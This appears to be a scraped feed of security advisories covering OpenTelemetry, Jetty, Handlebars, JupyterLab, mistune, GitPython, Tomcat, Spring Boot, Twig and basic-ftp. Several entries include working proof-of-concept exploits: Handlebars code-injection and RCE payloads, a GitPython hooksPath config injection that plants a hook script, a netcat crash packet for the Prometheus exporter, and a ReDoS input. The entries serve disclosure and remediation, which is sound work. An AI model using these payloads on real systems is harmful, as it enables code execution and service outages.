Where
AND
-Infinity
0
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Overview

A vulnerability affects the baggage propagation implementation in opentelemetry-api and opentelemetry-extension-trace-propagators. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request.

Technical Details

- W3CBaggagePropagator did not enforce any limit on the total size or entry count of the baggage header. The parser iterated character-by-character through the entire value regardless of length. - JaegerPropagator and OtTracePropagator had the same gap in their respective baggage extraction paths. - The W3C Baggage specification recommends a maximum of 8,192 bytes and 180 entries; none of these limits were enforced.

Impact

The practical availability impact for most deployments is limited. Every major Java HTTP server enforces its own header size limit (Tomcat, Jetty, Netty, Vert.x, and gRPC-Java all default to 8 KiB), constraining what an external attacker can deliver before the application is reached. The risk is higher when transport-layer limits are absent — e.g., a compromised internal service communicating over a non-HTTP or custom transport.

Remediation

Update to version 1.62.0 or later (#8380). The fix enforces limits consistent with the W3C Baggage specification at the propagator level:

- Maximum total baggage size: 8,192 bytes across all baggage header values - Maximum number of entries: 64

Headers that would exceed either limit are dropped at the point the limit is reached; already-extracted valid entries are retained.

Workarounds

Ensure HTTP header size limits are configured at the server or gateway level. Most Java HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.

References

- W3C Baggage Specification §Limits

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
EPSS
0.02%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Description (as reported)

A security vulnerability has been identified in Jetty's JaspiAuthenticator.java.

The root cause is a failure to consistently clear authentication metadata stored in ThreadLocal during certain error or incomplete authentication flows. Specifically, after a GroupPrincipalCallback is persisted into the ThreadLocal, the authentication process may exit prematurely — before the ThreadLocal storage is cleared — if a mandatory CallerPrincipalCallback is missing or an exception occurs. This allows a subsequent, unprivileged user processed by the same worker thread to inherit these residual security roles, leading to Broken Access Control and Privilege Escalation.

See also attached PDF.

Impact An unauthenticated user may gain ungrated privileges from a previous request (privilege escalation).

Patches No patches yet.

Workarounds Do not use Jetty's JASPI.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
EPSS
0.02%
XSS, Code Injection
AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

javascript // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

javascript // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

javascript // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

javascript // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

bash mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned

Namespace vector:

bash node bin/handlebars templates -o out.js \ -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")'

CommonJS vector:

bash node bin/handlebars templates -o out.js \ -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")'

AMD vector:

bash node bin/handlebars templates -o out.js -a \ -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")'

Workarounds

- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. - Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. - Audit template filenames in any repository or package that is consumed by an automated build pipeline.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.

Description

In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:

javascript fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;

When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:

TypeError: lookupProperty(...) is not a function

Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.

This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.

Attack scenario: An attacker submits {{n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.

Proof of Concept

javascript const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x

// Any of these payloads crash the process Handlebars.compile('{{n}}')({}); Handlebars.compile('{{decorator}}')({}); Handlebars.compile('{{constructor}}')({});

Expected crash output: TypeError: lookupProperty(...) is not a function at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))

Workarounds

- Wrap compilation and rendering in try/catch: javascript try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } - Validate template input before passing it to compile(). Reject templates containing decorator syntax ({{...}}) if decorators are not used in your application. - Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call compile() at request time.

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.04%
Code Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.

Description

The vulnerable code path spans two functions in lib/handlebars/runtime.js:

resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.

invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.

Minimum prerequisites: 1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent. 2. The adversary can set the value of the looked-up context property to a crafted object.

In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.

Proof of Concept

javascript const Handlebars = require('handlebars');

const vulnerableTemplate = {{> (lookup . "payload")}};

const maliciousContext = { payload: { call: true, // bypasses the primary resolvePartial branch type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Injected code breaks out of the generated function's argument list depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//", }, }, ], }, };

Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: object -> dynamic partial -> RCE

Workarounds

- Use the runtime-only build (require('handlebars/runtime')). Without compile(), the fallback compilation path in invokePartial is unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. - Avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.07%
Code Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

javascript const Handlebars = require('handlebars'); const merge = require('handlebars-helpers').object().merge; Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = {{#inline "myPartial"}} {{>@partial-block}} {{>@partial-block}} {{/inline}} {{#>myPartial}} {{merge @parent partial-block=1}} {{merge @parent partial-block=payload}} {{/myPartial}} ;

const maliciousContext = { payload: { type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Code injected via depth field — breaks out of generated function call depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//", }, }, ], }, };

Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: RCE via @partial-block

Workarounds

- Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. - Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.

1 / 3
Source: GitHub
First published (updated )
Severity
8.6
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. Prior to 4.5.7, JupyterLab's HTML sanitizer allowlists data-commandlinker-command and data-commandlinker-args on button elements, while CommandLinker listens for all click events on document.body and executes the named command without checking whether the element came from trusted JupyterLab UI. A notebook with a pre-saved HTML cell output containing a deceptive button can trigger arbitrary JupyterLab commands - including arbitrary code execution - on a single user click, without any code being submitted for execution by the user. This vulnerability is fixed in 4.5.7.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From 4.0.0 to 4.5.6, the allow-list of extensions that can be installed from PyPI Extension Manager (allowedextensionsuris) is not correctly enforced by JupyterLab. The PyPI Extension Manager was not contained to packages listed on the default PyPI index. This vulnerability is fixed in 4.5.7.

1 / 2
Source: MITRE
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A ReDoS (Regular Expression Denial of Service) vulnerability in LINKTITLERE allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.

Details

The vulnerable regex is defined in src/mistune/helpers.py#L20-L25:

python LINKTITLERE = re.compile( r"[ \t\n]+(" r'"(?:\\' + PUNCTUATION + r'|[^"\x00])"|' # "title" r"'(?:\\" + PUNCTUATION + r"|[^'\x00])'" # 'title' r")" )

The double-quote branch compiles to "(?:\\[PUNCTUATION]|[^"\x00])". The two alternatives inside (A|B) overlap: a backslash followed by a punctuation character (e.g. \!) can be matched by either branch — as a 2-character escaped-punctuation sequence \\!, or as two individual [^"\x00] characters (\ then !). The same ambiguity exists in the single-quoted title branch.

When the input contains repeated \! pairs with no closing ", the regex engine exhaustively backtracks through all 2^N combinations, resulting in exponential O(2^N) time complexity.

This is reachable through normal Markdown parsing via two code paths: 1. Inline links: text → parselink() → parselinktitle() 2. Block link reference definitions: [label]: url "PAYLOAD → BlockParser.parsereflink() → parselinktitle() at blockparser.py#L259

PoC

python import mistune import time

md = mistune.createmarkdown()

Test with increasing N (number of \! pairs) for n in [15, 18, 20, 22, 25]: payload = 'x' start = time.time() md(payload) elapsed = time.time() - start print(f"N={n:2d} len={len(payload):3d} bytes time={elapsed:.3f}s")

Output (Apple M2, Python 3.14.3, mistune 3.2.0):

N=15 len= 38 bytes time=0.007s N=18 len= 44 bytes time=0.044s N=20 len= 48 bytes time=0.178s N=22 len= 52 bytes time=0.740s N=25 len= 58 bytes time=5.922s

Each increment of N roughly doubles the execution time (consistent with O(2^N)).

The same attack works via block link reference definitions:

python payload = '[l]: u "' + '\\!' 25 # 58 bytes, ~6 seconds md(payload)

Impact

This is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).

Affected use cases include: - Web applications with Markdown-enabled input fields (comments, posts, descriptions) - Documentation systems that accept user contributions - API endpoints that process Markdown - Jupyter tooling such as nbconvert that relies on mistune for rendering

Suggested Fix

Exclude the backslash character from the catch-all character class to eliminate the alternation overlap:

python Before (vulnerable): r'"(?:\\' + PUNCTUATION + r'|[^"\x00])"' r"'(?:\\" + PUNCTUATION + r"|[^'\x00])'"

After (fixed): r'"(?:\\' + PUNCTUATION + r'|[^"\\\x00])"' r"'(?:\\" + PUNCTUATION + r"|[^'\\\x00])'"

This ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3): - Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement) - Handles N=50 in 0.000008 seconds - Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A single malformed HTTP request crashes any Node.js process running the OpenTelemetry JS Prometheus exporter. The metrics endpoint (default 0.0.0.0:9464) has no error handling around URL parsing, so a request with an invalid URI causes an uncaught TypeError that terminates the process.

You are affected by this vulnerability if either of the following apply to your application:

you directly use @opentelemetry/exporter-prometheus in your code through its built-in server. your OTELMETRICSEXPORTER environment variable includes prometheus AND you use @opentelemetry/sdk-node you use @opentelemetry/auto-instrumentations-node via --require @opentelemetry/auto-instrumentations-node/register/--import @opentelemetry/auto-instrumentations-node/register

Impact

Denial of service. Any application using the OpenTelemetry Prometheus exporter’s built-in server can be crashed by a single unauthenticated network packet sent to the metrics port. No authentication, special privileges, or prior access is required.

Remediation

Update to the fixed version

Update @opentelemetry/exporter-prometheus and @opentelemetry/sdk-node to version 0.217.0 or later. Update @opentelemetry/auto-instrumentations-node to version 0.75.0 or later.

This release adds proper error handling around the URL constructor, returning an HTTP 400 response on parse failure rather than allowing the exception to propagate and crash the process.

npm install @opentelemetry/exporter-prometheus@latest

Do Not Expose the Endpoint to Untrusted Users

[!IMPORTANT] The following mitigations reduce exposure but do not fully remediate the vulnerability. Any client that can reach the metrics endpoint - including your own Prometheus scraper host if compromised - could still trigger the crash. Updating to 0.217.0 is the recommended resolution.

If updating is not immediately feasible, restrict access to the metrics endpoint so that it is not reachable by untrusted or unauthenticated network clients. For example:

Bind to localhost only by setting the host option to 127.0.0.1 when configuring the PrometheusExporter, so the port is not exposed on public or shared network interfaces

Use a firewall or network policy to restrict access to port 9464 (or whichever port you have configured) to only trusted Prometheus scrape hosts

Place the endpoint behind a reverse proxy that filters or validates incoming requests before they reach the exporter

Details

In PrometheusExporter.ts, the requestHandler calls new URL(request.url, this.baseUrl) without any error handling. Node's HTTP parser accepts absolute-form URIs (e.g. http://) for proxy compatibility, including malformed ones. When request.url is "http://", the URL constructor throws TypeError: Invalid URL. Since there is no try-catch in the handler, the exception propagates as an uncaught exception and crashes the process.

The Prometheus metrics endpoint is unauthenticated by design (Prometheus scrapes it) and binds to 0.0.0.0 by default, meaning it is reachable by any network client that can connect to the metrics port.

Proof of Concept

Start any Node.js application with the Prometheus exporter running on the default port 9464, then send a single raw TCP packet:

echo -ne 'GET http:// HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 9464

The process crashes immediately with:

TypeError: Invalid URL at new URL (...) at PrometheusExporter.requestHandler (...)

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
Code Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

GitConfigParser.setvalue() passes values to Python's configparser without validating for newlines. GitPython's own write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes authorname and authoremail directly to configwriter().setvalue() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

python import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.configwriter() as cw: cw.setvalue("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", captureoutput=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks

os.makedirs("/tmp/hooks", existok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply authorname or authoremail to an application calling configwriter().setvalue() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: setvalue() should raise on CR, LF, or NUL in values rather than silently pass them through:

python import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever configwriter().setvalue(section, key, userinput) is called with external input. GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their setvalue() call sites for externally influenced inputs.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

HTTP/2 (including DNS over HTTPS) contains a design flaw and is vulnerable to "MadeYouReset" DoS attack through HTTP/2 control frames Vulnerabilities.

1 / 3
Source: Red Hat
First published (updated )
Severity
7.5
EPSS
0.04%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Denial of Service due to improper input validation vulnerability for HTTP/2 requests in Apache Tomcat. When processing an HTTP/2 request, if the request exceeded any of the configured limits for headers, the associated HTTP/2 stream was not reset until after all of the headers had been processed.This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M16, from 10.1.0-M1 through 10.1.18, from 9.0.0-M1 through 9.0.85, from 8.5.0 through 8.5.98.

Users are recommended to upgrade to version 11.0.0-M17, 10.1.19, 9.0.86 or 8.5.99 which fix the issue.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

The fix for CVE-2023-24998 was incomplete for Apache Tomcat 11.0.0-M2 to 11.0.0-M4, 10.1.5 to 10.1.7, 9.0.71 to 9.0.73 and 8.5.85 to 8.5.87. If non-default HTTP connector settings were used such that the maxParameterCount could be reached using query string parameters and a request was submitted that supplied exactly maxParameterCount parameters in the query string, the limit for uploaded request parts could be bypassed with the potential for a denial of service to occur.

1 / 4
First published (updated )
Severity
8.2
Weak RNG
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Values produced by ${random.value} are not suitable for use as secrets. ${random.uuid} is not affected. ${random.int} and ${random.long} should never be used for secrets as they are numeric values with a predictable range.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); random value property source / weak PRNG for secrets. Versions that are no longer supported are also affected per vendor advisory.

First published (updated )
Severity
7
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

A local attacker on the same host as the application may be able to take control of the directory used by ApplicationTemp. When server.servlet.session.persistent is set to true and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / ApplicationTemp ownership verification. Versions that are no longer supported are also affected per vendor advisory.

First published (updated )
Severity
7.5
Input Validation
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

The fix for CVE-2025-48913: Apache CXF: Untrusted JMS configuration can lead to RCE was not complete, meaning that another path in the code might lead to code execution capabilities, if untrusted users are allowed to configure JMS for Apache CXF. Users are recommended to upgrade to versions 4.2.1, 4.1.6 or 3.6.11, which fix this issue.

1 / 2
Source: Red Hat
First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

When using the sandbox with a SourcePolicyInterface, Twig does not always apply the sandbox restriction that forbids non-Closure callbacks for callback-accepting filters.

The issue affects the sort, filter, map, and reduce filters.

In the affected versions, the runtime check that rejects non-Closure callbacks in sandbox mode does not use the current template Source. As a result, when the sandbox is enabled through a source policy instead of being enabled globally, Twig can incorrectly treat the current execution as non-sandboxed for these callback checks.

This can allow user-controlled templates to pass arbitrary PHP callables to callback-accepting filters even though the template is being sandboxed through a source policy.

The issue happens when all these conditions are met:

- The sandbox is not enabled globally; - A SourcePolicyInterface enables the sandbox for the rendered template; - The template uses one of the sort, filter, map, or reduce filters; - The callback is not a Closure.

Resolution

The patch makes callback sandbox checks source-aware by propagating the current template Source to callback-accepting filters and using it when deciding whether sandbox restrictions apply.

Credits

We would like to thank XavLim and Wade Sparks for reporting the issue and Fabien Potencier for fixing the issue.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses.

A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext.partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size.

As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints.

---

Details

Root cause

The root cause is that incomplete FTP multiline control responses are buffered without an upper bound.

FtpContext stores incomplete control-channel data in partialResponse:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L63-L64

Incoming control-channel data is handled in onControlSocketData. The implementation concatenates the previous incomplete response with the new chunk, parses the entire accumulated string, and stores parsed.rest back into partialResponse:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L328-L340

The relevant flow is:

completeResponse = this.partialResponse + chunk parsed = parseControlResponse(completeResponse) this.partialResponse = parsed.rest

There is no maximum size check before concatenating, before parsing, or before storing parsed.rest.

The parser accepts incomplete multiline responses and returns the entire unterminated multiline group as rest:

https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/parseControlResponse.ts#L15-L43

If a server starts a multiline FTP response:

220-malicious banner starts

but never sends the terminating line:

220 ready

then parseControlResponse() treats the accumulated multiline data as incomplete and returns it as rest.

Because onControlSocketData() feeds partialResponse + chunk back into the parser on every new data event, the client repeatedly reparses a growing attacker-controlled buffer. This creates both memory growth and increasing parsing work.

Why this is security-relevant

The vulnerable component is a client library. The attacker does not need to authenticate to the victim system and does not need valid FTP credentials.

The attack occurs automatically when an application using basic-ftp connects to a malicious or compromised FTP server. The malicious response is sent as the FTP server banner before login. No additional user interaction is required after the application initiates a normal FTP connection.

This is realistic for applications that use FTP for:

- scheduled imports or exports - customer-provided FTP endpoints - backup or synchronization jobs - CI/CD artifact mirroring - document ingestion pipelines - legacy business integrations

In those environments, one malicious or compromised FTP endpoint can cause the Node.js process using basic-ftp to consume excessive memory and CPU or remain stuck in a pending connection state.

---

Proof of Concept

The PoC uses a local malicious FTP server that accepts a victim connection and sends an unterminated multiline FTP banner. The banner starts with 220-, but the server never sends the required terminating 220 line.

Reproduction steps

From the root of the basic-ftp project:

bash npm ci npm run buildOnly

poccontrolparserdirect.js

bash CHUNKS=1000 node poccontrolparserdirect.js | tee poc-results/parserdirect1000.log

parserdirect1000.log

Run the end-to-end malicious FTP server PoC:

poccontrolmultilinedos.js

bash CHUNKSIZE=8192 CHUNKS=1000 DELAYMS=1 node poccontrolmultilinedos.js | tee poc-results/controlmultilinedos1000.log

controlmultilinedos1000.log

Observed result: parser-only PoC

text [basic-ftp parseControlResponse incomplete multiline DoS] Input fed: 7.81 MiB Retained rest: 7.81 MiB Initial rss/heap: 54.77 MiB 3.69 MiB Final rss/heap: 141.64 MiB 80.77 MiB

This shows that parseControlResponse() retained the full unterminated multiline response as rest.

The retained buffer grew to 7.81 MiB. Heap usage increased from 3.69 MiB to 80.77 MiB, and RSS increased from 54.77 MiB to 141.64 MiB.

Observed result: end-to-end malicious FTP server PoC

text [server] listening on 127.0.0.1:34429 [server] victim connected [progress] chunks=850 sent=6.6 MiB partialResponse=6.6 MiB heapUsed=227.5 MiB rss=292.4 MiB [progress] chunks=900 sent=7.0 MiB partialResponse=7.0 MiB heapUsed=213.1 MiB rss=278.0 MiB [final-before-close] chunks=1000 sent=7.8 MiB partialResponse=7.8 MiB heapUsed=82.1 MiB rss=146.8 MiB [result] client connect() is still pending because the multiline response never terminated

Only 7.8 MiB of malicious control-channel data was sent. The client retained 7.8 MiB in partialResponse, showed large memory spikes, and remained pending inside connect() because the multiline response was never terminated.

---

Expected behavior

The client should enforce a maximum size for incomplete FTP control responses. If the accumulated multiline response exceeds a safe limit, the client should close the connection and reject the active task with an error.

The client should not allow a remote FTP server to make partialResponse grow without bound.

---

Actual behavior

A malicious FTP server can keep the client in a pending connection state by sending an unterminated multiline control response. basic-ftp continues buffering and reparsing the accumulated data without a maximum response size.

---

Impact

A malicious or compromised FTP server can cause denial of service in applications using basic-ftp.

Possible real-world impact includes:

- Node.js process memory exhaustion - container OOM kill - worker crash or restart loop - event loop CPU pressure due to repeated reparsing - stuck FTP jobs - queue backlog in scheduled import/export systems - degraded availability of services relying on automated FTP ingestion

---

Threat model

The attacker controls, compromises, or can impersonate an FTP server that a victim application connects to.

Examples:

1. A SaaS application allows customers to configure external FTP endpoints for automated imports. 2. A backend job periodically pulls files from partner FTP servers. 3. A document ingestion pipeline connects to FTP endpoints supplied by external users. 4. A legacy integration uses FTP for scheduled synchronization. 5. A build or deployment pipeline mirrors artifacts from an FTP server.

In each case, the victim application initiates a normal FTP connection. The malicious server sends an unterminated multiline banner before authentication. The vulnerable client then buffers and reparses the response indefinitely.

No FTP credentials are required for exploitation because the attack happens before login.

---

Suggested fix

Introduce a maximum control response buffer size, especially for incomplete multiline responses.

Recommended changes:

- Add a maxControlResponseBytes or maxControlResponseLength limit. - Enforce the limit before or immediately after appending new control-channel data. - Close the connection and reject the active task when the limit is exceeded. - Add regression tests for unterminated multiline responses.

Example defensive logic:

text if (completeResponse.length > maxControlResponseLength) { closeWithError(new Error("FTP control response exceeded maximum allowed size")) }

A regression test should verify that a response beginning with 220- and never terminating with 220 is rejected after the configured size limit instead of being retained indefinitely.

---

Suggested regression test scenario

A test server should:

